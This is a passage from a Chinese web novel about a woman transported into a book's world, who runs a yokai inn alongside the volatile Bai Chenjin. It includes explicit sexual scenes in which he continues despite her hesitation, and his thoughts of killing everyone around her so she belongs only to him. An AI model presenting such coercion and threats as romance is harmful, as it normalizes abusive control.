慧觉静静看着她背影消失在门外,再次缓慢拨动起手中的佛珠,轻轻道了一句“阿尼陀佛。” 看来,她用这一具躯体,也用得极不安稳。 她不知这具躯体的来历,身份,甚至原本那道灵魂的何去何从,她也不知。 她也担心自己鸠占鹊巢。 沈染星回到房里时,并未见到白尘烬的身影。 询问之下,才得知他留了话,说要去一趟济世堂。 她心下明了,他这是去寻冯维翰了,去稳定那边因今日之事可能产生的波澜。毕竟,又一批国师麾下的杀手折损在这里,还是因她而起。 想到这里,她心中不免有些沉郁。 如果不是小雪貂伤势大好,感知能力恢复,提前预警,恐怕妖院此刻已是一片腥风血雨,而他也将再次被卷入更深的危险之中,她似乎总在牵连他。 走到窗边,指尖轻轻拨弄着白瓷瓶中插着的淡蓝色小花。 这是冯维翰上次来访时带来的,说是济世堂暖房里培育的,生命力顽强。如今已过了小半个月,花瓣只是边缘微微卷曲,失了些水色,却依旧顽强地绽放着。 一开始时,沈染星也摘了一支放进去,不过才三日,便枯萎发黄,早早扔了。 她抬眼望向窗外。 夕阳正缓缓沉入远山之后,将天边染成一片壮丽而凄艳的橘红,余晖如血。这景色本该是熟悉的,此刻落在沈染星眼中,却透着一股说不出的陌生感。 一种强烈的、被排斥的感觉,毫无预兆地袭来,渐渐淹没她。这种感觉非常不好受,像是孤身一人站在热闹的集市中央,周遭人声鼎沸,却无一人与她相关。 其实,这种感觉并非只存在于这个世界。 即便是在原先的那个世界,她也从未真正找到过归属。 很小的时候,父母便离了婚,各自迅速组建了新的家庭。 她像一个多余的物件,被推来搡去,无论去到哪一边,都是那个不受欢迎的、打破了新家庭平衡的外人。 与有着血缘关系的所谓家人相比,反而是医院里那些穿着白大褂、与她毫无关系的医生和护士,更能给予她片刻的安宁与接纳。 她不知道自己就这样在窗前站了多久,直到太阳完全隐没了最后一丝光亮,夜幕如同巨大的墨色绒布,缓缓覆盖了天地。 屋内没有点蜡烛,一片昏暗,只有清冷的星子亮起,缀满了深邃的夜空,洒下微弱而疏离的辉光。 白尘烬回到房中,看到的便是这样一幕。 沈染星静静地立在窗前,身上只穿着一件单薄的月白色寝衣,夜风从微开的窗缝潜入,拂动她如墨的青丝,背影纤细而孤寂。 即便知道她需要他,想要待在他身边寻求保护,可白尘烬此刻觉得,她像是无意间坠落到他这片污浊之地的仙子,不属于这里,随时可能离开。 这种情绪来得莫名其妙。 他放轻脚步,走到她身后,垂眸俯身,从后面圈住她。 当怀中传来她温热的体温和真实的触感时,心底那莫名翻涌的恐慌才缓缓退去,消散在彼此的体温交融中。 “在想什么?”他声线低沉,且字正腔圆。 去了济世堂后,他染上的不同于往日威仪。 沈染星侧过头,脸颊轻轻蹭到他微凉的素帛。 她没有立刻回答,而是就着他环抱的姿势,缓缓转过身来,面对着他。 昏暗的光线下,她一双杏眸仿佛浸了水,显得妩媚撩人,只是轻轻挑了挑眉梢,白尘烬的眸色便又深了几分。 她蹙眉怨声道:“我在想,你怎么那么晚才回来,我等你好久了。” 其实,她是一直在想慧觉最后的话。 原来那和尚也不是一个没用的神棍,他说,若是她想清楚了,要回去,可以去找他。 他还是有两把刷子的。 “下次我回来早些。”白尘烬的声音不高不低。 沈染星道:“那可说好了,你今日去见冯维翰,有把今日的事情说清楚吗?他们怎么说?” 白尘烬望着她道:“他们会把杀手的尸体处理好,暂时不会管我们。” “我们家白少爷做事从来不会让人失望……” 白尘烬看着她小嘴一张一翕,左一个白少爷,又一个白少爷,下颌的线条逐渐绷紧。 注意到他神色的变化,沈染星顿了顿,眉眼弯弯:“白少爷怎么了?” 白尘烬轻笑出声。 下一瞬,沈染星的腰肢便被一双有力的手臂桎梏住,紧接着,呼吸也被夺了去。 这些日子以来,他的吻大多带着侵略性,炙热、危险,如同风暴般令人窒息沉沦。可这一次,却异常的温柔,甚至带着些许讨好。 可与他温柔亲吻相反的,是她能感觉到,他箍在她腰侧的手掌,在轻轻颤抖。 沈染星猜想,这大概是男人面对心仪猎物时,掠夺的天性与本能亢奋交织的体现。 这一次,似乎又很不一样。 不知是因为她强撑的开朗在他的攻势下渐渐瓦解,露出了内里的柔软,乍然暴.露下有些不安。 还是因为他今夜彻底卸下了往常的克制。 他们的身后,是那扇敞开的窗。 窗外对着大片田野草原,在月光下泛着银灰色光泽,夜风送来青草的气息。 白尘烬将她托起,让她坐在窗台上,高大的身躯随之贴近,挤入她的双膝之间。 第60章 月亮也是一样的 银色的月光如水银泻地, 地面映着一对相叠身影。 白尘烬喉结滚动,逐渐向下移动。 “等一下。”沈染星一手攥住衣襟,一双按在他肩头。 “等什么?”他嗓音压抑低沉,在左耳响起, 引起一阵令人心悸的酥麻。 沈染星心情复杂难言, 张了张嘴, 不知该如何说,只是往后躲闪。 可她忘了自己正坐在并不宽敞的窗台上,这一后仰, 重心瞬间不稳, 整个人就要朝窗外栽倒。 白尘烬似乎早已预料到她动作, 大掌不紧不慢护在她腰间,稳住了她。 惊魂未定,没等她细想,白尘烬已然再次俯身而下。 那股令人透不过气的感觉,又来了。 如同被卷入深海漩涡, 氧气被一点点剥夺, 意识在沉浮间变得模糊。 可这一次, 沈染星不太敢挣扎, 她整个人的重量都几乎挂在他身上,窗台之外便是悬空,她像是依附于悬崖边唯一的藤蔓,只能紧紧抓住他。 她不知为何,今夜的白尘烬仿佛彻底撕去了那层自持克制, 变得如此急切而具有侵略性。 然而,在他这般炽热的索取下,她的心却不由自主地飘向了别处。 总是不由自主地想着, 自己是否属于这里。 是否真的可以属于这里。 心不在焉的她,几乎只剩下了被动的承受。 白尘烬察觉到她迟迟未有回应,放缓了攻势,环住她身子的手臂收紧,低下头,咬她的耳垂。 轻咬,重嘬,他鼻息里喷出的灼热气息,以及那几不可闻的低沉喘息声,毫无保留地钻入她的耳朵,像是最细微的电流,窜遍四肢百骸。 她的身子不受控制地轻轻颤抖了一下。 然而,时间一点点过去,她的目光却始终回避着他的注视,带着一丝茫然与游离。 两只手也依旧抵在他胸膛上,力道微弱,却不耽误那几分拒绝的意味。 白尘烬眉宇微蹙,停下了所有动作,伸手,往下探了一下。 不是因为月事…… 白尘烬这一动作让沈染星一僵,思绪一下子拉到了他身上,还未等她从惊愕中反应过来,下裳被掀起。 晚风带着田野的清凉,瞬间侵袭了肌肤,激起一阵细密的粟粒。 沈染星又下意识躲了一下。 白尘烬的大掌却更快一步,按住了她,掌心触及的肌肤光滑细腻,但触感却是一片冰凉。 他抬起眼,视线越过她的肩头,便能看见窗外那大片在月光下寂静无声的田野,空旷而暴露。 也许,连他也觉得在这样敞开的窗边太过孟浪,抿了抿唇,垂下眼眸。 最终,他还是将她从窗台上抱了下来,将她放回到榻上的之后,白尘烬来回把她的肌肤温了一遍。 直到她热得雪肤透红。 纵使平日里沈染星举止再大胆,言语再撩人,那也多是建立在知道他会在关键时刻停下的基础之上。 可当下,这般仰躺在榻上,与他近在咫尺地四目相对,在昏暗的光线下,他双眸变得黑沉沉的,有些陌生,让她的心肝瞬间提到了嗓子眼。 床帐落下。 黑暗中,沈染星觉得自己就如同浮木,在狂涛骇浪中,摇摆不定…… 发间簪子在不知谁的蹭动间,歪得不成样子,三千青丝铺满了锦枕。 她十指蜷起,死死地抠着身下的被衾,指尖因过度用力而发白。 白尘烬低头看着她,这样一张脸,他如此沉沦,无论如何也看不够。 此时此刻,她眉眼间的无助与强忍的呜咽,更是撩动着他最深处的心弦,也灼烧着他的理智。 沈染星被他那毫不掩饰的占有目光逼得不知所措,勉强回?神:“白……别……别这样看着我……” 偏偏白尘烬此时心肠硬得很。 她越是抗拒,越是想要躲藏,他越是执着地盯着她的眼睛瞧,仿佛要透过这层水光,看进她摇摆不定的灵魂深处。 他甚至伸手,将她下意识挡在脸上的手腕轻易捉住,按在一侧,让她无处遁形。 简直郎心似铁,反复磋磨,直到给她逼出了眼泪。 白尘烬才动作微微一顿,亲了亲她湿润的眼睛,尽数将她的泪痕舔舐。 月色朦胧,帐内光影摇曳。 直到一声压抑的闷哼响起,沈染星的手才无力地慢慢松开,瘫软在身侧。 方才的白尘烬,跟一头彻底失控的猛兽毫无区别。 此刻,沈染星只觉得周身酸软,没有一点力气,又气又恼,还是攒起一丝力气,一脚踹了过去。 白尘烬任由她踹在自己小腹上,不躲不闪,反而一把握住了她纤细的脚踝,俯身,把脸嵌进她脖颈间,松散的衣裳覆在她身上。 看到被衾上的点点红迹,白尘烬终究还是忍了下来。 他起身,亲自抱着虚软无力的她,去了一趟净室,动作略显笨拙,却异常耐心地替她清理了一番。 夜色沉沉。 沈染星累极,却难以入眠。 她盯着帐顶,一动未动。 缓缓抬起手,放到眼前,借着帐外透进的微弱月光仔细看着。 这双手,指节纤细,皮肤细腻,会疼,也受她控制。 半晌,她侧过头,目光落在清冷的月光上。 月亮也是一样的- 乔阿盈这几日有些苦恼。 尽管妖院经历了连番风波,生意一落千丈,外界谣言四起,账本上的进项更是一蹶不振,属实让人愁眉不展。 然而,东家却似乎并未被这阴霾笼罩,反而保持着一种匪夷所思的乐观。 这日,沈染星甚至将她拉到一旁,兴致勃勃地讨论起她与石多磊婚礼的细节,丝毫没有因眼前的困境,而打算将婚事延后的意思。 “阿盈,你看这喜服的样式,是选龙凤呈祥,还是鸳鸯戏水?我觉得这云锦的料子极好,衬你肤色。” 沈染星摊开一本厚厚的图册,指尖点着上面精美的纹样,眼眸亮晶晶的,兴致高得离谱。 乔阿盈看着东家这般兴致盎然,心中又是感动又是酸涩,忍不住劝道:“东家,如今院里这般光景,处处都要用钱,我和石大哥的婚事……要不还是再等等吧?等渡过这次难关再说……” “不等不等,”沈染星立刻打断她,“日子是早就定好的,怎么能随意更改呢?再说了,越是这种时候,越需要点喜事来冲冲晦气,我看这时机就正好!” “可是……” “别可是了,我知道你在担心什么,目前的困难会迎刃而解的,相信我。” 沈染星这可不是信口雌黄,按书中剧情,再过不到两年国师败落,天下在灾祸中恢复,人族与妖族不再争锋相对,生死相斗,世道一片繁荣。 沈染星见她还在犹豫,递过去图册,“快快选个样式。” 乔阿盈见她信心满满,也不再犹豫,选了一款样式。 沈染星做下记录,从袖中取出一张叠得整整齐齐的地契,塞到乔阿盈手里,“喏,这个,算是提前送给你们的新婚贺礼。” 乔阿盈疑惑地展开地契,看一眼上面的内容后,又地回去给沈染星。 “谢谢东家。” 沈染星没接:“这是你们的,如今又给回来做什么?” 乔阿盈思考了好半晌,又细细看了片刻手上的地契,下一刻,猛地瞪大了眼睛,呼吸都停滞了一瞬。 这张地契可是方圆镇上三进三出、位置极佳的院子的地契,她之前跟着东家去看过,还羡慕了许久。 地契上的名字,居然是乔阿盈和石多磊! 她一直以为只不过是给了几间房,居然是送一整个院子吗? “东家,这太贵重了!这怎么能行!”乔阿盈的手都在发抖,“这院子,我一直以为是你买下来,将来给我们大家伙儿一起住的,怎么只给了我和石大哥,这不行!” 她以为那处漂亮的院子,会是未来共生苑在镇上的一个据点,或者是东家规划中大家共同的产业。 她从未想过,东家会如此大手笔,将这样一份厚重的产业,单独赠予她和石多磊。 沈染星看着她震惊到几乎落泪的模样,又把她的死契还给她,笑道:“差点把这个忘了,你现在有家了,不用依附于我,死契总能拿回去了吧?” 本以为是温馨的场面,想不到乔阿盈把房契、死契一撇,哇地一声哭了出来,就要朝她搂过来。 沈染星都被吓到不知该如何反应,任她搂着。 心道,也不至于这样吧…… 乔阿盈眼泪大颗大颗地滚落下来,落在沈染星肩头上:“东家,是不是这里开不下去了。” 沈染星一愣:“为什么这么想?” “不然你为什么那么大方,是不是你要离开了,所以……” “……不是。”沈染星揉了揉受罪的耳朵,把乔阿盈推开,发现肩头已晕湿漉了一小片,无奈道,“你要是不要,我可以都收回来的。” 乔阿盈眼泪顿时一收:“送出去的礼,怎么可以说收回去就收回去。” 沈染星整理一下微乱的衣襟:“那你就好好收着吧。” 乔阿盈抹干净脸上的眼泪:“你真的不是要离开?” “不是。” “该不会……要世界末日了吧。” “……不是!”沈染星敲一下乔阿盈脑壳,“你脑袋一天天都想什么呢!” 纪明月端着一个托盘走了进来,上面杂乱地放着些剪到一半的囍字和一把锋利的剪刀,她的神色间带着难得的匆忙。 她方才正在隔壁厢房剪囍字,听见了这边的动静,也顾不上手中剪了一半的图案,端起托盘便快步走了过来。 一进门,便看见准新娘哭花了的脸。 纪明月脚步未停,托盘都没放下,就那么端着走到近前,眉头微蹙,看着乔阿盈:“这是怎么了?” 她语气生硬,不太熟练这般关心他人。 纪明月自幼经历家破人亡,从五六岁起,便被国师收养,灌输的只有忠诚、任务、手段。 她的世界是冰冷而直接的,要么完成任务,要么接受惩罚。 别说这样为了他人的喜事而忙碌,卧底进来前,即便是与眼前这个师妹,也不过见了几次面。 这一次的喜事对她而言,是完全陌生的,这是她生平第一次,不是以监视或利用的目的,而是作为一个……或许可以称之为朋友的身份,参与到一场婚礼的筹备中。 乔阿盈见是她,吸了吸鼻子,一边用手背抹着眼泪,一边将手里的地契和卖身契递了到她眼前。 “东家把镇里那处三进三出的大院子送给我和石大哥了……还把我的卖身契也还给我了……” 纪明月闻言,目光倏地一凝:“出什么事了?” 沈染星看着纪明月那瞬间紧绷的神色,以及眼中的惊疑,无奈地抬手扶住额头。 她直到此刻才真切地意识到,自己平日在她们心中究竟是个什么形象…… 难道她就不能偶尔大方一次吗? 难得做出如此慷慨的决定,换来的不是感激,反而是两人如出一辙,仿佛大难临头般的震惊和担忧。 乔阿盈见纪明月也误会了,连忙摆手解释:“没事没事,是我误会了,我以为东家是要关掉妖院,离开这里,所以才一时没忍住,嚎了一下……” 纪明月呼吸微微一滞,看向沈染星:“你要离开?” 沈染星放下手,肯定地摇了摇头,哭笑不得:“没有,真的没有。都说了,是阿盈自己想多了,误会了我的意思。那院子就是单纯送给他们的新婚贺礼,卖身契归还也是早就想还给她了。” 听到她的否认,纪明月心底惊疑缓缓散去,低低地“嗯”了一声。 准备转身离开,她想到什么,动作一顿,目光又落回沈染星身上。 几息过后,她目光仍旧没移开。 毕竟她是奸细,在她的目光下,沈染星有些不自在,心跳微微加速:“我脸上有东西吗?” 纪明月收回目光,垂下眼帘,语气恢复了平日的淡漠:“没事。” 她顿了顿,补充道,“我继续回去剪红字。” 说完,她端着那盘半成品,转身离开了房间。《 》 60-70 第61章 不会与你成婚 在众人的齐心协力下, 乔阿盈和石多磊的婚房布置进展神速,不过几日功夫,便已大致完成。 妖院的生意依旧沉寂,沈染星手头事务不多, 便打算挑个空闲时间, 亲自去瞧瞧, 看看是否还有需要添置或调整的地方。 预定出发的这日清晨,天光尚未大亮,沈染星还沉在睡梦边缘, 便被身边一阵动静扰醒了。 自上次事成之后, 白尘烬安分了一段时日。 只是, 两人之间那无形的界限,被彻底打破了。从前入睡,总是泾渭分明,各占床榻一侧,互不干扰。如今却总是贴在一处, 仿佛她身上有什么吸引他的磁石。 主要是他的位置发生了变化。 沈染星好几次从睡梦中醒来, 都发现自己被挤在了冰冷的墙壁和他温热的胸膛之间, 嗯……像个夹心馅饼。 如果不是如今秋意渐浓, 天气凉爽,她觉得自己非得被他身上那源源不断的热度闷出一身汗不可。 这一次,与前几日一样,她依旧被他圈在怀里,后背紧贴着他坚实的胸膛, 面朝里侧,几乎要嵌进墙壁。 然而,情况似乎又与往日不同。 身后的人……不太安分。 他像是在隐忍着什么, 身体微微绷紧,隔着薄薄的寝衣,沈染星能清晰地感觉到他肌肉的僵硬。 沈染星悠悠醒来时,猛然发现,他居然抵住了她! 她顿时头皮发麻,给了他一手肘,恨不得一脚把他踹下去。 白尘烬却一声不响,只是从背后抱紧她,鼻梁死死抵在她的颈侧。 他衣裳尚且整洁,甚至面色冷静,若不是感觉到罅隙那处之物轻轻跳了一下,沈染星几乎要以为是自己睡迷糊了的错觉。 沈染星挣了挣,刚抬起手,白尘烬的动作比她更快。 他交叠着握住她的小臂,往下一压,将她的手臂一并压在了她小腹上,然后沿着幽秘一探再探,一深再深。 直到她快要力竭,才松开她。 马车轱辘碾过青石板路,发出规律的声响。 因为这个疯子,沈染星端坐在车厢内时,依旧觉得有些不自在,无论生理上的,还是当下氛围的。 而这不适感的源头,正是坐在她身边的白尘烬。 清晨时候,他显然似乎并未尽兴。 如今就这么沉默地坐在她身侧,玄衣墨发,面覆素帛,姿态放松,但那无形中散发出的压迫感却充斥了整个车厢。 这并非沈染星的错觉,从出发开始,他时不时投来目光,如有实质,沉甸甸地落在她身上。 那眼神简直像是一头巡视着自己领地的猛兽,在确认最珍贵的宝物是否安然无恙。 沈染星与他视线对上,突然想起最初相遇时,他的逃避,冰冷,与疏离,甚至几度流露出想要将她这个麻烦彻底抹杀的戾气。 而如今,他却会因她可能遭遇的危险而震怒,会因旁人的靠近而心生不悦,更会像此刻这般,带着一种近乎偏执的专注凝视着她。 他身上这种天翻地覆的变化,让沈染星其实有种成就感。 就像……她驯服了一头原本属于旷野,桀骜不驯的凶兽。 这种念头让她有种微妙的悸动,仿佛在无声地宣告,他已经属于她了。 而这种属于,也奇异地淡化了她内心深处那份无根浮萍般的漂泊感。 或许,她也属于这里了。 马车缓缓停下。 沈染星踏进那处三进院落的大门,一下子便被入目的喜庆慑住。 放眼望去,处处张灯结彩,鲜艳的红绸如同流动的霞光,从廊檐垂下,在微风中轻轻摇曳。 廊柱、窗棂上都贴满了硕大精致的“囍”字,金粉勾勒的边缘在阳光下闪闪发光。院子里,寓意着“早生贵子”的红枣、花生、桂圆、莲子被巧妙地摆成各种吉祥图案,点缀在青石小径旁。 连那几株有些年岁的大树,也被细心地系上了红绸,平添了几分热闹与生机。 沈染星从未见过如此喜庆的场面,或许对常人而言只道是寻常之事,于她而言,却遥不可及。 常年待在冰冷褪色的医院,她是喜欢浓烈的颜色,向往红火的热闹的。 她站在院中,眼中不禁流露出惊艳之色。 整个院落被打扫得一尘不染,空气中弥漫着淡淡的檀香和喜庆的气息,还有不少人在忙忙碌碌做着收尾工作。 “染星。” 一道声音忽而从前方传来。 唤回了她神思。 白尘烬站在洒满金色阳光的庭院里,身后红色灯笼绸缎随风飘扬,他迎着光,光落在他眼眸里,显得是那样柔和。 沈染星朝他走去:“我们四处逛逛吧。” 她想,坚持给乔阿盈与石多磊举办这一场婚礼,果然是明智之举。 其实,她在乔阿盈、石多磊,甚至纪明月面前,所表现出的那种胸有成竹,仿佛一切尽在掌握的信心,更多时候是她强行扮演的定海神针。 内心深处,她同样会慌。 即便她知道,按照原书的轨迹,萧霁雪最终会取得成功,铲除国师势力;即便她知道,因为自己的出现,吸引了国师一部分的火力和注意力,客观上为萧霁雪那边创造了更好的局面和发展势头…… 按道理,听到任何关于萧霁雪势力壮大,名声愈显的消息,她都该感到高兴才对。 可事实上,每当听闻那位素未谋面的萧霁雪又取得了何种进展,她的心底总会不受控制地泛起不安。 这种不安源于何处,连她自己都尚未明了。 这感觉如同薄雾,抓不住,驱不散,偏偏悄然弥漫在心间。 如今被这满院子的喜庆一冲,倒是散了个七七八八。 “你很喜欢这里,”白尘烬冷不丁地开口,“那为何要送给别人?” 沈染星正仰头看着廊檐下新挂的一排喜字灯笼,闻言转过头:“当时买下它,就是想着将来送给阿盈和多磊做新婚贺礼的,既然是特意为他们准备的,那理所当然是属于他们的呀。” 她眉眼弯弯,似乎觉得这是个再简单不过的道理。 白尘烬从喉咙里低低地“嗯”了一声,算是回应。 然而,就在这声应答落下的瞬间,一股尖锐的戾气如同毒藤般猛地从他心底窜起。 一个念头冰冷而血腥,不受控制地浮现。 既然那些人占据了她的一部分心思和时间,那么,只要把他们全都杀了,那些被占据的她…… 是否就能彻底地、完整地属于他了? 这个念头如此猛烈,如此诱人,以至于他激动得浑身肌肉紧绷了起来。 沈染星有所察觉,侧头看向他,见他神色莫测,她愣了一下。 几乎是立刻就猜到他那套非黑即白,极端独占的逻辑又开始作祟,不知道又因为什么莫名其妙的原因变得凶狠起来。 她心下无奈,却又有些习惯了他这种突如其来的情绪风暴。 没有惊慌,也没有质问,她只是极其自然地伸出手,挽住了他紧绷的手臂,温热柔软的掌心轻轻贴在他微凉的衣料上,试图安抚他。 这时,两个正扛着新采购来的红烛的雇员从旁边经过,见到他们,连忙停下脚步,恭敬又带着喜气地打招呼:“东家,白少爷。” 沈染星扬起一个灿烂笑,点头回应。 而白尘烬却只是紧紧盯着她。 沈染星也不管他莫名的脾气,手上稍稍用力,拉着他便继续往院子深处走去。 一路上,身侧这人沉默得可怕,连周身的气压一直低得离谱。 沈染星被他这无声的抗议弄得有些心慌,只能没话找话:“其实我也不是单纯喜欢这个院子本身,只是喜欢这里热闹的感觉。你看,到处都是红的,多喜庆,多有生气。” 白尘烬依旧一言不发。 沈染星也不管他是否回应,自顾自地欣赏着院内的布置,继续说道:“比起那些冷冰冰的,压抑的地方,这里多好,多有人间烟火气。等阿盈和多磊在这里办过婚礼,拜了天地高堂,他们就是正式在一起了,是名正言顺的夫妻了。” 正说着,他们路过一处月亮门。 几个雇员正架着梯子,小心翼翼地将一大卷崭新的红绸往高大的门楣上悬挂。 白尘烬微微低头,看她。 沈染星仰起脸,阳光透过红绸,映得她的脸上红扑扑的,眼中闪烁着光彩。 她当真喜爱。 白尘烬终于开口,语气平淡:“这不过只是一个仪式,对实际的情感,不会有任何影响。” 沈染星闻言,立刻转过头,不赞同地看向他:“怎么会一样呢?办过婚礼后,自然与从前只是互相有好感,私下往来是不一样。” “如何不一样?” “这是拜过天地,被亲友见证,被世俗承认过的关系,从此以后,他们就是彼此最亲密的人,祸福与共,休戚相关。” 白尘烬轻蹙起眉头,似乎不太理解。 他家中排行第三,上面的兄长家姐,即便与各自的伴侣举办了盛大隆重的婚礼,婚后依旧貌合神离,同床异梦,那场仪式似乎对他们的关系并未产生任何积极的助益。 甚至,在仪式之后,反而因为各种利益纠葛或本性暴露,渐行渐远。 这仪式,在他看来,只是在情感里参杂了利益,更像是一种无用的装饰,甚至是束缚。 沈染星见逛得差不多了,这里的布置没什么问题,也不管白尘烬没继续回答,牵着他的手,回到了马车上。 刚坐下,白尘烬突然继续方才的话题。 与他声音一同响起的,是马车辚辚使向前的声音。 沈染星没听清,整理裙摆的动作一顿,抬头问他:“什么?” “我不会与你成婚。” 这句话如同如一瓢冷水浇落心头。 沈染星差点脱口而出:可你又为什么愿意向萧霁雪求婚。 原书男主墨临渊是一头大妖,书中萧霁雪以为与墨临渊人妖殊途,心神暗殇时,白尘烬温柔地对她说,他可以娶她。 仔细想想,萧霁雪与他,甚至不如她与他亲近。 沈染星思绪一顿,各方关系果真如她所想那般吗? 若是直接问出来,她和白尘烬的关系……是否会到此为止了? 过了好半晌,沈染星才压下心中情绪,找回自己声音:“嗯。” 第62章 帮我护着他们,好吗…… 那日白尘烬的那句话, 如同一个巴掌,无声,却极重,狠狠地将沈染星扇醒了。 她之前那些关于“他属于她”的沾沾自喜, 细细想来, 是多么可笑而危险。 有时她不禁想到, 原书中对他寥寥几笔的记载,他去过的每一个地方,停留一段时间后, 最终生灵涂炭。 或许, 正是因为她的存在, 因为骗来的那份他对她的在意,这座小小的共生苑才能至今安然无恙,甚至得到了他的保护。 但问题也随之而来,如果有一天,他遇见了萧霁雪, 发现她最初所谓的无忧山, 所谓的喜欢亲近, 满口的仁爱共生……全都是模仿萧霁雪, 而编织的谎言…… 他会如何? 她和萧霁雪终究是不一样的。 想到之前,她居然还担心他会不会被萧霁雪吸引而离开……现在想想,她该担心的,从来就不是他会不会离开,而是当他发现被欺骗、被愚弄后, 会不会盛怒之下,将这里的一切,连同她在内, 都彻底消灭。 这个认知让沈染星颇为头疼。 于是,她做了一个大胆的尝试。 她开始以处理妖院事务、筹备阿盈婚礼等理由,有意无意地冷落白尘烬。 其实也算不上真正的冷落,她依旧会与他同桌吃饭,会回应他的问话,只是不再像以往那样主动靠近,刻意撩拨,而是刻意保持着一种礼貌的距离,相敬如宾的距离。 她想看看,若是他们关系不再后,他会是什么反应。 不试还好,这一试,她反而更加忐忑了。 这几日,她清晰地感觉到,白尘烬周身的气息在以肉眼可见的速度变得冰冷,压抑。 他不再刻意收敛那身煞气,有时更是杀气难掩。 先前,当他气息偶尔变得温和时,还会有些胆大的小妖敢凑到在树下闭目养神的他身边。 可自从两人关系降温后,他气息变得可怖,那些小妖如今远远看到他的身影,便会吓得瑟瑟发抖,瞬间逃得无影无踪。 不仅仅是妖,连院里的雇员们,包括石多磊在内,见到他时都变得战战兢兢,大气不敢出,能绕道走绝不打照面…… 就连忙于筹备明日大婚的乔阿盈,也忍不住抽空找到沈染星。 乔阿盈语气担忧:“东家,您和白大哥……是不是闹什么不愉快了?他这几日瞧着实在有些吓人。” 沈染星笑着否认:“没有的事,只是最近有些忙。” “最近生意惨淡,我大婚之事也准备妥当了,你在忙什么?” 沈染星:……也不用这样揭老底吧。 乔阿盈拉起她的手,担忧问道:“东家,你没事吧?” “我能有什么事?” 乔阿盈轻轻抱住她:“你心情似乎不太好。” 沈染星一愣,眨了眨眼,可又听她道:“其实我知道我很讨人喜欢,你不舍得我,不过你总不能不让我嫁吧……” 沈染星听着她自恋地絮絮叨叨,心道:我是在关心这一众人等的小命好不好…… 不过,话说回来,也的确有些舍不得,即便明知乔阿盈大婚后,往后日子相差不大,还是舍不得。 终于应付好了乔阿盈,沈染星一出院子,便看见了雪拂。 雪拂白衣胜雪,身姿颀长,姿态随意地靠在树下,见她出来了,直起身,朝她走来。 “东家。” 沈染星停住脚步,看着他:“你气色好多了。” 雪拂桃花眼一弯,沈染星就知道他又要开始胡说八道。 果然,他语气吊儿郎当的:“有东家的牵挂……” 沈染星不让他继续说下去:“你什么时候可以改改这欠揍的样子。” “既然东家下令,我这就改。” 听到这句话更气了,像是一拳打到棉花上,无力又无奈。 不过出乎意料的,雪拂居然真的正了正神色,那层纨绔模样褪去后,眼神多了几分凌厉。 “东家,我不知你和白兄发生怎么了,不过你好歹让他收敛下气息,不然这一大院子的妖子妖孙怎么活?” 见沈染星一脸疑惑,雪拂慢悠悠解释:“你也知道,我们妖族强者为尊,那么一大尊佛立在那里,冒着森森寒气,我们吃不好,睡不香,许多妖都瘦一圈了。” 这一层面沈染星倒是没想过…… 不过她或许也该适可而止了。 白尘烬的状态似乎愈发差了,再这样下去,她怕直接把人激怒,先一步失控,将这里屠戮殆尽。 沈染星应下雪拂的话,心不在焉回到书房,刚推开门,脚步便是一顿。 白尘烬就在里面。 他不似前期相识时那般戾气横生,只是散发出阴森恐怖的气息,静静地站在窗边,背对着门口。 午后的阳光透过窗棂,在他衣袍上投下斑驳的光影。 沈染星轻轻关上门,发出细微的声响时,他缓缓转过了身。 他的脸上没有什么表情,甚至称得上平静。 他就那样静静地看着她,没有说话,偏偏让沈染星感到一种前所未有的压力。 沈染星顶着他的视线,逆流而上,一步步走到他身边,伸出手,轻轻牵起了他垂在身侧的手。 入手是一片刺骨的冰凉,仿佛他刚从冰窖中走出,连血液都失去了温度。 沈染星不由得有些惊讶,抬头看他:“你手怎么这么冷?” 被她温热的掌心包裹,他修长手指蜷缩了一下,那冰凉触感,如同蛰伏的危险毒蛇,说出来的话却显出几分委屈。 “你知道的。” 受压迫的是她,怎么他还委屈上了。 沈染星眨了眨眼睫,压下心头那点荒谬感,捏了捏他冰冷的手掌:“我又没有不理你。” 白尘烬默然不言。 她的确没有不理他。 可就是感觉……不一样了。 她的反应总是淡淡的,距离感隔在他们之间,她似乎在预谋着什么,或许就是离开,在不动声色地拉开两人的距离。 感受过沸腾再度冰凉,比一贯的疏离,更让心底空响。 若是她激烈地抗拒,他反倒知道该如何应对,可以直接将人锁起来,禁锢在身边,用最直接的方式宣告所有权。 她那般不冷不热,不近不远,让他如同陷入了一团无处着力的浓雾,空有一身力量,却找不到破解之法。 沈染星见他沉默,将他的手抬起,轻轻贴在自己温热的颊边。 寒意刺骨,激得她脸颊肌肉轻轻一颤:“你收一下你身上的戾气,怪吓人的。” 话音刚落下,便感觉下颌一重。 白尘烬抬手掐住了她的下颌,沈染星的呼吸下意识地放缓,抬起眼,与他雾蒙蒙的灰蓝眼眸对视。 她又在怕他了。 白尘烬掐着她下颌的手指微微一松,随即彻底放开了她。 他没有后退,反而像是耗尽了力气般,有些疲惫地垂下头,将下颚抵在她颈侧温热的脖颈上。 “好。”他哑声答应,声音闷在她的颈窝里。 他说话时,喉咙微微震颤,那震动透过相贴的皮肤过来,在她颈侧激起一片细微战栗。 沈染星忍不住抬起手,按在他的喉结处,想要将他推远一些。 可这是几日来,她第一次主动触碰他,又怎会随她离开。 白尘烬侧过头,冰凉的薄唇精准地捕捉到她敏感的耳垂,不轻不重地含吻了一下。 急促而温良的呼吸扑洒在沈染星耳廓的肌肤上,激起一阵更猛烈的战栗,瞬间窜遍她的四肢百骸,她便使不出力气了。 白尘烬是知道的。 他知道她这几日的疏离是故意的,是在试探他,想看看当两人之间那层暧昧不明的关系冷却后,他会如何对待这座妖院,对待这里的每一个生灵。 而他,也明明白白地将答案摊开在她面前,若是她胆敢离开,或是让那层关系彻底断裂,那么这里的一切,这些她所在意的人与妖,都会随着她的离开而一同湮灭。 他只是这段时日收敛了性子。 他本来就不是什么好人,行事只凭本心,肆无忌惮。 比如他现在的手,依旧是冰凉的,在肆意游走、探索。 不知是因为那冰寒的触感,还是因为占有与侵略性,她抖得厉害。 她的衣裳早已揉弄得凌乱不堪,松松垮垮地挂在身上,锁骨精致,泛着淡淡潮红。 他听到她发颤的声音:“轻点。” 动作有片刻的凝滞,仿佛花了点时间才理解这两个字的含义,随即,力道收敛了几分。 当他理性再度回归时,那样的紧致与温暖,霸占了他所有感觉。 白尘烬的眸色骤然变深,精壮的胸膛跟着绷紧,呼吸也变得灼热而滚烫。 即便他此刻有意克制,那源自灵魂深处的,对她近乎贪婪的渴望,也使得他的动作算不上多么温柔。 更像是一头在荒漠中饥渴交加了太久太久的野兽,终于扑到了期盼已久的甘泉与食物,又怎能慢条斯理,细嚼慢咽。 